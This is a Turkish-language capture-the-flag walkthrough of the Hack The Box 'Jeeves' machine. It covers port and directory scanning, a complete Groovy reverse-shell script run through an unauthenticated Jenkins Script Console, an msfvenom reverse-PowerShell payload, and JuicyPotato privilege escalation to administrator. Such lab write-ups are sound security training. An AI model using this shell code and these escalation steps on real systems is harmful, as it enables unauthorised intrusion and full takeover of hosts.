Hack The Box Jeeves Makine Çözümü — shaggy

Açıklama: Selam arkadaşlar, Hack the Box platformunda bulunan** ‘Jeeves’ isimli makinenin **çözümünü sizinle paylaşıyor olacağım. Bu konuda sunucular üzerinde uygulamaların default bir şekilde bırakılmasının nelere yol açabileceği hakkında bilgileneceğiz. Çözmesi oldukça zevkli olan bu makineyi gelin çözmeye başlayalım. 🍾 🙌 🎉

Öncelikle ilgili sistem üzerinde çalışan port ve servislerin bilgilerini öğreniyoruz.

1┌──(root㉿kali)-[/home/kali/Desktop/Jeeves]└─# nmap --min-rate 7000 -p- -sS -sV 10.10.10.63 -Pn -o firstnmap-nmap.txtStarting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-23 12:34 ESTNmap scan report for 10.10.10.63Host is up (0.096s latency).Not shown: 65531 filtered tcp ports (no-response)PORT      STATE SERVICE      VERSION80/tcp    open  http         Microsoft IIS httpd 10.0135/tcp   open  msrpc        Microsoft Windows RPC445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)50000/tcp open  http         Jetty 9.4.z-SNAPSHOTService Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 27.58 seconds

80 Portunda çalışan web uygulamasına bakınalım.

Ardından bir keyword search etmek istediğimizde istisnasız bir şekilde ekrana hata mesajı bastırıldığını gördük. Fuzz’a falan verdim fakat bir şey elde edemedik.

Sonrasında 50000 portuna bakmak istediğimizde snapshot karsıladı.

Bu sayfayı fuzz’a verdiğimizde ise /ask/askjeeves/ dizinini buluyoruz.

1┌──(root㉿kali)-[/home/kali/Desktop/Jeeves]└─# gobuster dir -u http://10.10.10.63:50000 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url:                     http://10.10.10.63:50000[+] Method:                  GET[+] Threads:                 10[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt[+] Negative Status codes:   404[+] User Agent:              gobuster/3.6[+] Timeout:                 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/askjeeves            (Status: 302) [Size: 0] [--> http://10.10.10.63:50000/askjeeves/]Progress: 149760 / 207644 (72.12%)^C[!] Keyboard interrupt detected, terminating.Progress: 149790 / 207644 (72.14%)===============================================================Finished===============================================================

İlgili uygulamanın varsayılan sayfası bu şekilde.

Jenkins, içeri import edilebileceği bir konsol yapısı bizlere sunuyor buna erişmek için sırasıyla Manage Jenkins>Script Console şeklinde ulaşabilirsiniz.

Burada Groovy kullanan konsolda shell almak için linkten shell’e erişim sağladık.

Kod;

1String host="10.10.14.46";int port=3232;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Ardından sistem üzerindeki ilk etkileşimimizi aldık.

Aslında içeri winpeas veya powerup atar bakınırım ama şu tabloya bakınca JuicyPotato yapacağımı anladım.

1C:\Users\Administrator\.jenkins>whoami /privwhoami /privPRIVILEGES INFORMATION----------------------Privilege Name                Description                               State   ============================= ========================================= ========SeShutdownPrivilege           Shut down the system                      DisabledSeChangeNotifyPrivilege       Bypass traverse checking                  Enabled SeUndockPrivilege             Remove computer from docking station      DisabledSeImpersonatePrivilege        Impersonate a client after authentication Enabled SeCreateGlobalPrivilege       Create global objects                     Enabled SeIncreaseWorkingSetPrivilege Increase a process working set            DisabledSeTimeZonePrivilege           Change the time zone                      Disabled

Ardından msfvenom yardımıyla bir bat dosyası oluşturduk.

1msfvenom -p cmd/windows/reverse_powershell lhost=10.10.14.46 lport=4242 > lolo.bat

JuicyPotato icin;

Releases · ohpe/juicy-potato

Sonrasında lolo.bat’ı ve JuicyPotato’yu certutille atmayi denedik fakat olmadı o yüzden powersell ile atmayı denediğimizde sağolsun izin verdi.

Ardından Komutumuzu çalıştırdığımızda en yetkili kullanıcı olarak hedef sistem üzerinde komut çalıştırabileceğimi gördüm.

1JuicyPotato.exe -p shell.bat -l 1337 -t *

Sistemde artık yetkili kullanıcıyız ve user.txt’yi de root’ txtyi de alabiliriz.

Okuduğunuz için teşekkürler, iyi çalışmalar dilerim. :)